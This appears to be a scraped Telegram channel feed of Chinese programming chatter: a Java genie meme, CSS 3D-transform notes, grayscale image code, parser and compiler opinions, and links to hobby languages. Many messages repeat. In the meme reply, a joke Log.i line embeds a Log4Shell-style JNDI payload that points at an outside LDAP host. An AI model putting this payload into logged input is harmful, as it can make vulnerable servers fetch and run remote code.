#Java #meme 脸黑君 (😭哇~~~, [2022/1/11 下午6:28]
神灯 “恭喜你捡到了我,我可以实现你三个愿望,请说出的你三个愿望”
男孩 “请你实现我的第二个愿望”
神灯 “好的,然后呢?”
男孩 “请你实现我的第一个愿望”
神灯 “Exception in thread "main" java.lang.StackOverflowError”
rin kki, [2022/1/11 下午6:31]
没初始化愿望就实现,应该空指针啊~
Laoself 👨💻,
请Log.i("
#code
神灯 “恭喜你捡到了我,我可以实现你三个愿望,请说出的你三个愿望”
男孩 “请你实现我的第二个愿望”
神灯 “好的,然后呢?”
男孩 “请你实现我的第一个愿望”
神灯 “Exception in thread "main" java.lang.StackOverflowError”
rin kki, [2022/1/11 下午6:31]
没初始化愿望就实现,应该空指针啊~
Laoself 👨💻,
请Log.i("
${jndi:ldap://1.1.1.1:3890/Calc} #code
@SAM interface Fn{void run();}
void main(){
Fn 愿望1=FnBy(()->愿望2), 愿望2=()->愿望1();
愿望1.run(); //立刻实现!
}
Fn FnBy(java.util.function.
Suppiler<Fn> f){return()->f.get().run();}
螺莉莉的黑板报
http://tridiv.com/ 用 CSS + HTML 画三维物体的可视化编辑器。 你们……CSS 上脑的人好可怕……
#DontKnow 一如既往的Y-up 座标系(左手比枪xy, 中指z) 。 原来向y旋转是要改变x角度吗..向z旋转要改变y, 角度z 就是相对x了,对横长方体不明显..
正方体有6面,十字架展开 tp lt ft rt 凸字形:最上=顶面, bm bk 底和后,相信类似3D盒动画大家见过 --_- 。它们的 #CSS transform:
前后(2,-1) 移动轴=Z —只是前后次序
左右(1,-3) 轴=Y
当你正面(xy)正方体,它可以在X/Y=横纵 距一个外点旋转(xy位置改变),Z 就是四方本身的倾斜度
X不是横向旋转,而是“所有点绕X轴转”
然后通过 rt-lt{width} bk-ft{} 这些调参
它给每个对象创建CSS .cub-19 .face 我最佩服的..
https://developer.mozilla.org/en-US/docs/Web/CSS/transform-function/rotate3d()
正方体有6面,十字架展开 tp lt ft rt 凸字形:最上=顶面, bm bk 底和后,相信类似3D盒动画大家见过 --_- 。它们的 #CSS transform:
rotateX(90deg) translateY(-50%)
rotateY(90deg) translateX(-50%)
translateZ(2em)
rotateY(-90deg) translateX(-50%)
rotateX(-90deg) translateY(-50%)
translateZ(-2em) rotateY(180deg)
顶底(i=0,-2) 的角度是对应的,轴=X前后(2,-1) 移动轴=Z —只是前后次序
左右(1,-3) 轴=Y
当你正面(xy)正方体,它可以在X/Y=横纵 距一个外点旋转(xy位置改变),Z 就是四方本身的倾斜度
X不是横向旋转,而是“所有点绕X轴转”
然后通过 rt-lt{width} bk-ft{} 这些调参
它给每个对象创建CSS .cub-19 .face 我最佩服的..
https://developer.mozilla.org/en-US/docs/Web/CSS/transform-function/rotate3d()
duangsuse::Echo
为了吹哨人、发哨人,以及所有为了疫情努力过的人(当然,显然我不包括在其中) 本频道 image 象征性灰今明两天。 #Telegram #China #Python Pillow: from PIL import Image def grayifyFile(name): img = Image.open(name) img.convert("L").save(name.rsplit(".")[0]) grayifyFile("image.png") OpenCV #CV #Cplusplus:…
#Kotlin 今天再写一遍灰度(黑白)化 🤪
import java.io.File
import javax.imageio.*
import java.awt.image.*
object ImGray{
@JvmStatic fun main(vararg a:String){
ImageIO.read(a[0]).mapPix{val(r,g,b)=Byte.cut(3,it); val l=(r * 299/1000 + g * 587/1000 + b * 114/1000); Byte.cat(l,l,l) }.save(a[1])
}//每Pix=Lum亮度公式
fun BufferedImage.mapPix(op:(Int)->Int)=this.apply{
for(y in 0 until height)for(x in 0 until width)
setRGB(x,y, op(getRGB(x,y)) )
}
fun Image.save(fp:String)=ImageIO.write(this,fp.substringAfter("."),File(fp))
object Byte{
fun cut(n:Int, b:Int)=IntArray(n).also{var u=b; for(i in 1..n){it[i]=u and 0xFF; u=u ushr 8} }
fun cat(vararg b:Int)=b.fold(0){u,x -> u shl 8 or x}
//{var u=0; b.forEach{u=u shl 8 or it}; return u }
}
duangsuse::Echo
使用效果(跗注: 这是拉黑我一个 #Bilibili up 主的视频封面 🌚
#ce 反正建议大家不要信这些东西。 学了总是会有用的,但绝对不如直接吃元编程/代码生成 香 🌝
数学也能帮到编程啊,但还不如直接用 Desmos.com 🌑
这个『晓舟杂谈』的视频就是营销号,我稍微提了一句不尊重从业者,就给我拉黑了 🌝
然后他的视频呢,就是找了点old-school 的教材和一个 C++ Tree-IR 编译-执行 的视频(作者=CPP语言律师),对流程毫无了解 就敢说1天学会,真的服气。
有种你做独立App开发者、做科普 我倒敬你知名,也别来瞎碰瓷啊 🙉
我只是在扯淡(但是扯淡的人也不会教你 Racket外语言的实现.. 😂 应该说确实有些做法需要点明,但照LLVM的实例来就可以了。
在编译器前端最 native 的就是文本按 文件级,函数级, 代码块转化变量-计算图,而不是翻译到另外的高级语言文本、或解释执行啥的(那样就是计算器, 带if-部分求值也能做)
其实许多编译器的routine 用元编程也可,比如 C# 的隐式转换
如果不懂元编程(如new=按type分配&call-init,实例虚方法查找),编译器无非就是把文本做个解析,检查下类型,安排下地址,这些根本没啥有趣的,递归到常量变量节点就成
>许多框架实现的糖写法根本不需要创建新语言或者XML,问题是对只会模仿的人连 printf() 是 va_arg 和 cout« 不是“语法”都不知道,连语言=思维的实质都没分清谈何革命呢; 也幸好他们不懂编译原理,不然就会有一大堆莫名其妙的“Groovy”或DSL出现 :\
不清楚『语言』和编程语言是一回事,就会像Perl和bash 一样,“内部”功能越加越多,用户越来越少;我可不会以学写那样的语言为荣☹️,应该让机器生成那种东西
或者像Groovy ,IDEA支持烂得离谱,唯一的REPL试用也要被jshell取代了。 歧义和零散功能太多就造成这种问题
编译器真的没啥,只是一些人前缀解析器都不会写(准确的说是把显式状态机当必需品了,因此整个框架会过大),如果我2行写完S-expr 的解析, 那附带深先树重写,乃至名字解析、闭包啥的只是对内存结构的理解问题 :\ #js #code
现在有 coroutine 了,也能写数据驱动程序的解析器 且无需CGen,不过毫无意义。按文本读取的用途 哪怕用线程都不需要协程
当年我看PEG.js 左递归简直烧脑要死啊,还能优化?现在用着简写版逆波兰重排,我才懒得问左边递归为啥是循环,以及 Mul=Add|Add'*'Add 到底想干啥(js split&map版我也写过😂)。——为啥非得照你的做法抄啊
又长又烂还不方便,算个四则起一大堆名字,好像最后不是对应 eval(a{op}b) 一样
——为啥非得照你的API啊
按用途文档;元编程重构不好看吗?
功能弱鸡概念还那么多,滚吧😋
不能指望 #zhihu 或 yinwang.org , ice1000.org 的大佬教这些东西,其实他们自己也只写过一两次,不管现在是做到什么程度,未必能拓宽过往的认知
越聪明的人反而越难科普,因为他们每件事都是一遍过。演讲是带稿还是脱稿好呢? 嘛,从未演讲过的人与稿子无缘,也没机会检查自己的语言问题,这是与思路多清晰关系不大的。(他们都算前辈.动机不多猜)
数学也能帮到编程啊,但还不如直接用 Desmos.com 🌑
这个『晓舟杂谈』的视频就是营销号,我稍微提了一句不尊重从业者,就给我拉黑了 🌝
然后他的视频呢,就是找了点old-school 的教材和一个 C++ Tree-IR 编译-执行 的视频(作者=CPP语言律师),对流程毫无了解 就敢说1天学会,真的服气。
有种你做独立App开发者、做科普 我倒敬你知名,也别来瞎碰瓷啊 🙉
我只是在扯淡(但是扯淡的人也不会教你 Racket外语言的实现.. 😂 应该说确实有些做法需要点明,但照LLVM的实例来就可以了。
在编译器前端最 native 的就是文本按 文件级,函数级, 代码块转化变量-计算图,而不是翻译到另外的高级语言文本、或解释执行啥的(那样就是计算器, 带if-部分求值也能做)
其实许多编译器的routine 用元编程也可,比如 C# 的隐式转换
implicit operator int(byte b) => widen(b) 貌似就能实现数值拓宽如果不懂元编程(如new=按type分配&call-init,实例虚方法查找),编译器无非就是把文本做个解析,检查下类型,安排下地址,这些根本没啥有趣的,递归到常量变量节点就成
>许多框架实现的糖写法根本不需要创建新语言或者XML,问题是对只会模仿的人连 printf() 是 va_arg 和 cout« 不是“语法”都不知道,连语言=思维的实质都没分清谈何革命呢; 也幸好他们不懂编译原理,不然就会有一大堆莫名其妙的“Groovy”或DSL出现 :\
不清楚『语言』和编程语言是一回事,就会像Perl和bash 一样,“内部”功能越加越多,用户越来越少;我可不会以学写那样的语言为荣☹️,应该让机器生成那种东西
或者像Groovy ,IDEA支持烂得离谱,唯一的REPL试用也要被jshell取代了。 歧义和零散功能太多就造成这种问题
编译器真的没啥,只是一些人前缀解析器都不会写(准确的说是把显式状态机当必需品了,因此整个框架会过大),如果我2行写完S-expr 的解析, 那附带深先树重写,乃至名字解析、闭包啥的只是对内存结构的理解问题 :\ #js #code
let a="(1 (2 3))".split(/([()\s])/g).filter(s=>s!=''),i=0;
层=(tk)=>{for(let x,q;x=a[i];){i++;if(x==')')break;q=x=='('; tk.push(q?(x=[]):x); if(q)层(x)} }
层(树根=t0=[])
解析要么词条(跳空白的字符)流动,要么程序执行位置被动,肯定是程序驱动前缀消耗,而不是输入驱动程序执行; 让状态号决定行为 能凑整一些代码,让调用栈决定 能复用更多,设计和使用 compiler compiler (ANTLR,YaCC啦)就是行为艺术,可惜对外行它被传为必须,所以大家入门都难(而Lua等的手写递归下降又太长, 简单说就是科普阵地被魔法师占领了,反倒是成熟的更易学)。现在有 coroutine 了,也能写数据驱动程序的解析器 且无需CGen,不过毫无意义。按文本读取的用途 哪怕用线程都不需要协程
当年我看PEG.js 左递归简直烧脑要死啊,还能优化?现在用着简写版逆波兰重排,我才懒得问左边递归为啥是循环,以及 Mul=Add|Add'*'Add 到底想干啥(js split&map版我也写过😂)。——为啥非得照你的做法抄啊
又长又烂还不方便,算个四则起一大堆名字,好像最后不是对应 eval(a{op}b) 一样
——为啥非得照你的API啊
按用途文档;元编程重构不好看吗?
功能弱鸡概念还那么多,滚吧😋
不能指望 #zhihu 或 yinwang.org , ice1000.org 的大佬教这些东西,其实他们自己也只写过一两次,不管现在是做到什么程度,未必能拓宽过往的认知
越聪明的人反而越难科普,因为他们每件事都是一遍过。演讲是带稿还是脱稿好呢? 嘛,从未演讲过的人与稿子无缘,也没机会检查自己的语言问题,这是与思路多清晰关系不大的。(他们都算前辈.动机不多猜)
https://github.com/wkgcass/Latte-lang#%E4%B8%AD%E6%96%87%E7%89%88-chinese-version-readme #recommend #plt #jvm Latte ,记住了. Java6 的class编译实现
zig,red; scala.js RustPython moonscript nelua jsweet java2script
https://zserge.com/posts/jvm/ 这个是 #go #bin 实现读classfile常量池&栈执行
https://github.com/axkr/symja_android_library #math #android #tool 符号代数/绘图工具
https://github.com/JacksonTian/stone-lang/tree/master/src/chap12 适合小白读物配套(确信
https://github.com/enso-org/enso 图形编程,可视化, enso.org
https://vlang.io/ 类Go C目标语言,默认no-mut,支持内部序列化. 作者貌似做了C的双向翻译
https://github.com/lclang/LittleCat 用法不错,支持闭包
https://github.com/tern-lang/tern 含游戏示例. 文档太细节
livescript.net 含IDE插件示例
https://github.com/tonysparks/leola 支持协程, namespace: 是啥鬼
https://github.com/cqfn/eo 奇奇怪怪的XML语言.. jolie-lang.org 奇奇怪怪的 Swagger??
https://www.zhihu.com/question/27831730 RednaxelaFX大在这里手撕 #java 编译与反编译器,🐮
你R大永远是你R大🤪
https://www.zhihu.com/question/39400401 还是R大谈CLR-JVM=真泛型&in-out,delegate,P/Invoke&unsigned&Valtype,unsafe和受检溢出,无classloader 树 ,其他人就知道tailrec和jit,gc这些还说混了
不愧是R大 真不是盖的
一己之力拉高 #zhihu 编译原理水平
zig,red; scala.js RustPython moonscript nelua jsweet java2script
https://zserge.com/posts/jvm/ 这个是 #go #bin 实现读classfile常量池&栈执行
https://github.com/axkr/symja_android_library #math #android #tool 符号代数/绘图工具
https://github.com/JacksonTian/stone-lang/tree/master/src/chap12 适合小白读物配套(确信
https://github.com/enso-org/enso 图形编程,可视化, enso.org
https://vlang.io/ 类Go C目标语言,默认no-mut,支持内部序列化. 作者貌似做了C的双向翻译
https://github.com/lclang/LittleCat 用法不错,支持闭包
https://github.com/tern-lang/tern 含游戏示例. 文档太细节
livescript.net 含IDE插件示例
https://github.com/tonysparks/leola 支持协程, namespace: 是啥鬼
https://github.com/cqfn/eo 奇奇怪怪的XML语言.. jolie-lang.org 奇奇怪怪的 Swagger??
https://www.zhihu.com/question/27831730 RednaxelaFX大在这里手撕 #java 编译与反编译器,🐮
你R大永远是你R大🤪
https://www.zhihu.com/question/39400401 还是R大谈CLR-JVM=真泛型&in-out,delegate,P/Invoke&unsigned&Valtype,unsafe和受检溢出,无classloader 树 ,其他人就知道tailrec和jit,gc这些还说混了
不愧是R大 真不是盖的
一己之力拉高 #zhihu 编译原理水平
GitHub
GitHub - wkgcass/Latte-lang: 100% Java compatibility and Functional Programming.
100% Java compatibility and Functional Programming. - GitHub - wkgcass/Latte-lang: 100% Java compatibility and Functional Programming.
Forwarded from Rachel 碎碎念 (IFTTT)
Twitter
🐈⬛劭玄淵 (Agatha)🐈⬛遠離世間一切紛爭,1+1=5
wwwww
duangsuse::Echo
#ce #plt 带步骤的四则计算器。递归逆波兰。22行代码 浅先=`;=;+ -;* / %` 流=(a, _s=[...a].values())=>()=>_s.next().value 切2D=(s,sp0,sp1)=>s.split(sp0).map(s=>s.split(sp1) ) {let t={},k; 切2D(浅先,';',' ').forEach((x,i)=>{for(k of x)t[k]=i}); 符深大=t} 符链=(s,l)=>{let a=[],add=x=>a.push(x)…
#bilibili >那你现场写代码😄
回复 @iiicp :以上是()和算数表达式的求值栈生成,加起来10行。 活动期分析后就可以临时变量到寄存器,或者干脆每个+-用既有栈变量。
当然,C会比JS多费不少代码
但我是认真觉得40分钟太长。如果真的细节到此程度,你可以加提纲,先说说要写啥、涉及啥流程和修改,再放PPT
你能火是我想不到的,第一期视频我就认为会石沉大海。因为我也会写些涉及文本结构和计算机绘制的东西,在B站这些很少,因此更要注意可重看性。
如果你打算更100天,回头发现这些录屏复习起来很困难,应该就会意识到简洁和代码大纲的必要性了[藏狐]
? @iiicp :Up哥,就是parser这块,看的不是特别懂,可能是,编译原理,语法树,这块,没怎么弄懂。
1 是常量, a 是变量
a+1 是表达式, (a+1)+1 含括号也是:单项a亦可为(中缀链)
if(a) a+=1; 是语句
表达式都有「值」,语句都能「执行」
表达式也是语句。而在C里,(a=(b=c)) 有效,py里f(x:=1) 有效
它们可以互相引用,像 if(表达式)语句; {语句;},构成嵌套树结构。
最深项先执行,把树变为值称「解释」,
保留中间数据,即区间推断/地址安排称「编译」
编译的目标是可执行,比如函数,再由「虚拟机」的调用语法填参执行至ret/throw,函数内和脚本顶层是一样的;Java大定义和{},= 内则不同
(为什么要说这么笼统的东西啊喂!😫
常量来自tokenizer分词器,如 "str" 1.0 ,特殊名字如 true 是具名常量;C宏就替换为词条列表
变量可以是 能import的全局表键k、第j号局部、外i层函的第j局部:参数是调用时检查的n或vararg个局部量
(a)=>()=>a 称为词法作用域,a就引用上1层第0号局部-同时是参数。
闭包=匿名类型的值,根据上值(upval)组 "this" 的不同行为不同,它是数据和程序的交汇,Java new-匿名子类。有种Church丘奇编码法: true=\y n. (y) ;false=\y n. (n) ,因为函数是值,能到处传,可以这样。
(值)任何计算的参数,和结果
(弱类型)变量是编译期尚不确定的值,因此+-等需针对2Number有定义..
(强类型)变量值有范围确定。子类型里必是成员集更大的 :T 子类(多态/覆写);可试每位置<TP>归一,类型推导
(副作用) 计算值不能描述的效果。只有数学没副作用,程序只有内存和CPU,限定mut的范围
只有值都到齐才能计算(常量折叠)。其实编译和运行期只是语言执行的实现方式导致的区分,语言本身不限定静态或动态
其实OOP或FP只是数据结构语法导致的区分,算式本身只是参数凑齐,计算更新,单函数不限制功能个数
https://t.me/dsuse/17412
我们都很可怜😔 无论闭包或this都不是廉价的东西,至少不是热销的
#ai 和 #game 魔改就很热销, #algorithm 如前缀树也很热销
Lua和JS,Py里无论有无「独占」名字,函数都是闭包。C等 里函数只是代码指针,也没有局部函数。
一般的Ruby,Java/C#/C++ 则对OOP和FP的等效概念做了较大区分
PHP和Unix族之类我不清楚,它们像操作系统改行来的🌑
回复 @iiicp :以上是()和算数表达式的求值栈生成,加起来10行。 活动期分析后就可以临时变量到寄存器,或者干脆每个+-用既有栈变量。
当然,C会比JS多费不少代码
但我是认真觉得40分钟太长。如果真的细节到此程度,你可以加提纲,先说说要写啥、涉及啥流程和修改,再放PPT
你能火是我想不到的,第一期视频我就认为会石沉大海。因为我也会写些涉及文本结构和计算机绘制的东西,在B站这些很少,因此更要注意可重看性。
如果你打算更100天,回头发现这些录屏复习起来很困难,应该就会意识到简洁和代码大纲的必要性了[藏狐]
? @iiicp :Up哥,就是parser这块,看的不是特别懂,可能是,编译原理,语法树,这块,没怎么弄懂。
1 是常量, a 是变量
a+1 是表达式, (a+1)+1 含括号也是:单项a亦可为(中缀链)
if(a) a+=1; 是语句
表达式都有「值」,语句都能「执行」
表达式也是语句。而在C里,(a=(b=c)) 有效,py里f(x:=1) 有效
它们可以互相引用,像 if(表达式)语句; {语句;},构成嵌套树结构。
最深项先执行,把树变为值称「解释」,
保留中间数据,即区间推断/地址安排称「编译」
编译的目标是可执行,比如函数,再由「虚拟机」的调用语法填参执行至ret/throw,函数内和脚本顶层是一样的;Java大定义和{},= 内则不同
(为什么要说这么笼统的东西啊喂!😫
常量来自tokenizer分词器,如 "str" 1.0 ,特殊名字如 true 是具名常量;C宏就替换为词条列表
变量可以是 能import的全局表键k、第j号局部、外i层函的第j局部:参数是调用时检查的n或vararg个局部量
(a)=>()=>a 称为词法作用域,a就引用上1层第0号局部-同时是参数。
闭包=匿名类型的值,根据上值(upval)组 "this" 的不同行为不同,它是数据和程序的交汇,Java new-匿名子类。有种Church丘奇编码法: true=\y n. (y) ;false=\y n. (n) ,因为函数是值,能到处传,可以这样。
(值)任何计算的参数,和结果
(弱类型)变量是编译期尚不确定的值,因此+-等需针对2Number有定义..
(强类型)变量值有范围确定。子类型里必是成员集更大的 :T 子类(多态/覆写);可试每位置<TP>归一,类型推导
(副作用) 计算值不能描述的效果。只有数学没副作用,程序只有内存和CPU,限定mut的范围
只有值都到齐才能计算(常量折叠)。其实编译和运行期只是语言执行的实现方式导致的区分,语言本身不限定静态或动态
其实OOP或FP只是数据结构语法导致的区分,算式本身只是参数凑齐,计算更新,单函数不限制功能个数
https://t.me/dsuse/17412
我们都很可怜😔 无论闭包或this都不是廉价的东西,至少不是热销的
#ai 和 #game 魔改就很热销, #algorithm 如前缀树也很热销
Lua和JS,Py里无论有无「独占」名字,函数都是闭包。C等 里函数只是代码指针,也没有局部函数。
一般的Ruby,Java/C#/C++ 则对OOP和FP的等效概念做了较大区分
PHP和Unix族之类我不清楚,它们像操作系统改行来的🌑
Telegram
duangsuse::Echo
#OOP #FP 可怜人的函数闭包是对象,可怜人用对象表示闭包,都很悲哀 :(
edit: 面向概念和面向动词各有所长,但我更喜欢FP, 语言只提供class会给复用带来很大的问题
edit: 面向概念和面向动词各有所长,但我更喜欢FP, 语言只提供class会给复用带来很大的问题
#web 过去有那么多 HTTP-API 是因为没有 WASM ,现在能客户端计算,能做的更方便了
比如 canvas 能画 video ,video.srcObject=nav.mediaDevice
之前在B站看这个face-api.js (TF.js weights 只有jsdelivr托管) 都不知道它 matchDim{w,h} 以及取vid.width是在做啥,才发现是重复取设置,resize.. ,在网上找的旧版API都不能用🌑,只能自己把画框框 找到,发现和这个一样
比如 canvas 能画 video ,video.srcObject=nav.mediaDevice
之前在B站看这个face-api.js (TF.js weights 只有jsdelivr托管) 都不知道它 matchDim{w,h} 以及取vid.width是在做啥,才发现是重复取设置,resize.. ,在网上找的旧版API都不能用🌑,只能自己把画框框 找到,发现和这个一样
#web 真的是很有力的设计, WebSQL,WebGL/2D,fetch Blob,Paint/Cache Worker,history浏览栈, ObjectURL/VFS, CSS和SVG无缝兼容、DOM模板;这都是许多其它平台"赖以知名"的工作,在浏览器里这么普通暴露了统一简洁的API,许多设计远比其它语言里的等效物高级-DOM有文本等价,也能用来填模板,和最初的PHP比就是思想层次上的差别,比现在的常见模板更规范,只是一些人觉得非得设计lexer 才叫模板语言😒想想 JavaEE 的选择为啥越来越杂 ,不就是因为都在嫌不够炫不够严谨吗?
按下F5就能看到执行效果,控制台敲下就查得到文档;直接切tab就开始搜示例,毫无IDE的芥蒂
JS是同时有C的短写语法和 FP模式匹配,适合临时草稿和正经代码,还能用元编程简写,整个web就只有这一门程序语言,没有杂七杂八的构建语言啊、资源、模板和套话啊
ES6引入的 `` 和 Proxy{} 也很有用,结合 with() 甚至能并肩Ruby元编程,但是一点也没Ruby的繁杂,很合理的引入了扩展性
除了前端界听风是雨、金钱至上的一些坏毛病,webkit技术真的太牛了
按下F5就能看到执行效果,控制台敲下就查得到文档;直接切tab就开始搜示例,毫无IDE的芥蒂
JS是同时有C的短写语法和 FP模式匹配,适合临时草稿和正经代码,还能用元编程简写,整个web就只有这一门程序语言,没有杂七杂八的构建语言啊、资源、模板和套话啊
ES6引入的 `` 和 Proxy{} 也很有用,结合 with() 甚至能并肩Ruby元编程,但是一点也没Ruby的繁杂,很合理的引入了扩展性
除了前端界听风是雨、金钱至上的一些坏毛病,webkit技术真的太牛了
duangsuse::Echo
#web 真的是很有力的设计, WebSQL,WebGL/2D,fetch Blob,Paint/Cache Worker,history浏览栈, ObjectURL/VFS, CSS和SVG无缝兼容、DOM模板;这都是许多其它平台"赖以知名"的工作,在浏览器里这么普通暴露了统一简洁的API,许多设计远比其它语言里的等效物高级-DOM有文本等价,也能用来填模板,和最初的PHP比就是思想层次上的差别,比现在的常见模板更规范,只是一些人觉得非得设计lexer 才叫模板语言😒想想 JavaEE 的选择为啥越来越杂…
#statement web所做最好的事就是所见即所得,数据更新-程序重做 相当自然,不像一些平台里要大堆代码,因此才有了 DevTools 这样优秀的查看工具
当你要在网页画画,唯一的选择就是 canvas API,没有那么多专用名词要记,基于CSS和Blob也容易后台绘制和下载,API只是最直接的,不需要任何教程,而Path2D上只有不到8个成员,不会提供什么“工具类”-CSS 语法足够了
一些人觉得代码和结果太直接会让开发者养成不会思考的坏习惯,这根本是错的,只能让思考的层次更高,从而产生更多好玩的应用。有种别用 inline color picker 之类☹️
当你要在网页画画,唯一的选择就是 canvas API,没有那么多专用名词要记,基于CSS和Blob也容易后台绘制和下载,API只是最直接的,不需要任何教程,而Path2D上只有不到8个成员,不会提供什么“工具类”-CSS 语法足够了
一些人觉得代码和结果太直接会让开发者养成不会思考的坏习惯,这根本是错的,只能让思考的层次更高,从而产生更多好玩的应用。有种别用 inline color picker 之类☹️
duangsuse::Echo
🌚层叠的标签打得比我好,溯源也到位,内容我关注的其它频道没有……它变了 反正我也没打算搞IT🤪 层叠的风格的确变认真了,来源也多了,和它一年前相比 https://t.me/outvivid/2603
https://t.me/outvivid/3320
我感觉应该收回😒 因为它这个新闻 #plc4x 打得毫无意义,也没解释 PLC..4x? 到底是干啥用的,'faker.js' 好歹半俗半释吧😒
说句题外话,我觉得 Marak 根本没分清 opensource 和代码变现的关系,开源并不是对软件的声望没帮助的,他开始选择MIT就是个错误,但现在换许可也于事无补了。 倒不如说如果 faker 选择 free trail 闭源,那许多人哪怕用小数据集sample 或者开源替代也不会用它吧
你一开始做个产品页,会有压力
数个开发非常费力的js小众ui(模拟gimp面板啦..)框架, 代码混淆器就是做得很认真,但好像收益..额不 人气也不如开源"低功能"版本的东西吧😒
一边想挣同行的钱,一边不想用更友好的开源方法(我们不是啥都买冤大头用户..),成交量就会有损失
最终问题是面向公司用户时,MIT许可证不能强求别人付钱,被白嫖,甚至有一些刁民或奸商声称是独立做的
每次看到这种把开源当私有原创的🐶独立开发者就来气,您改名您🐴呢,核心做法谁的你不懂,拿来就原创?国内是有不少! 更别说自己还是被 retool.com 付2k USD就套壳的冤大头
所以实际上是原作copyright的问题... 就主动投毒死循环来说,我觉得.. rollup供应链攻击的确该改进🌑,是js界该改进
大家应该会原谅他,毕竟被火烧家了
但,MIT是他自己选的,那时怎么会知道火了仍穷的世态炎凉呢😒
我感觉应该收回😒 因为它这个新闻 #plc4x 打得毫无意义,也没解释 PLC..4x? 到底是干啥用的,'faker.js' 好歹半俗半释吧😒
说句题外话,我觉得 Marak 根本没分清 opensource 和代码变现的关系,开源并不是对软件的声望没帮助的,他开始选择MIT就是个错误,但现在换许可也于事无补了。 倒不如说如果 faker 选择 free trail 闭源,那许多人哪怕用小数据集sample 或者开源替代也不会用它吧
你一开始做个产品页,会有压力
数个开发非常费力的js小众ui(模拟gimp面板啦..)框架, 代码混淆器就是做得很认真,但好像收益..额不 人气也不如开源"低功能"版本的东西吧😒
一边想挣同行的钱,一边不想用更友好的开源方法(我们不是啥都买冤大头用户..),成交量就会有损失
最终问题是面向公司用户时,MIT许可证不能强求别人付钱,被白嫖,甚至有一些刁民或奸商声称是独立做的
每次看到这种把开源当私有原创的🐶独立开发者就来气,您改名您🐴呢,核心做法谁的你不懂,拿来就原创?国内是有不少! 更别说自己还是被 retool.com 付2k USD就套壳的冤大头
所以实际上是原作copyright的问题... 就主动投毒死循环来说,我觉得.. rollup供应链攻击的确该改进🌑,是js界该改进
大家应该会原谅他,毕竟被火烧家了
但,MIT是他自己选的,那时怎么会知道火了仍穷的世态炎凉呢😒
Telegram
层叠 - The Cascading
Apache PLC4X 的主要开发者之一 chrisdutz 称将停止对此项目的免费社区支持。
Chris 在文章中提到 PLC4X 对很多工业企业在成本、安全性和性能上的帮助。由于 PLC4X 的工作繁重,Chris 在 2020 年决定放弃自己的工作,去全职做工业开源软件咨询服务。然而,繁重的工作、开发所需的昂贵硬件,以及开发者的大量付出得不到应有的回报,都使得 Chris 不愿继续再做下去,并计划转向商业和众包支持。
https://github.com/chrisdutz/blog/blo…
Chris 在文章中提到 PLC4X 对很多工业企业在成本、安全性和性能上的帮助。由于 PLC4X 的工作繁重,Chris 在 2020 年决定放弃自己的工作,去全职做工业开源软件咨询服务。然而,繁重的工作、开发所需的昂贵硬件,以及开发者的大量付出得不到应有的回报,都使得 Chris 不愿继续再做下去,并计划转向商业和众包支持。
https://github.com/chrisdutz/blog/blo…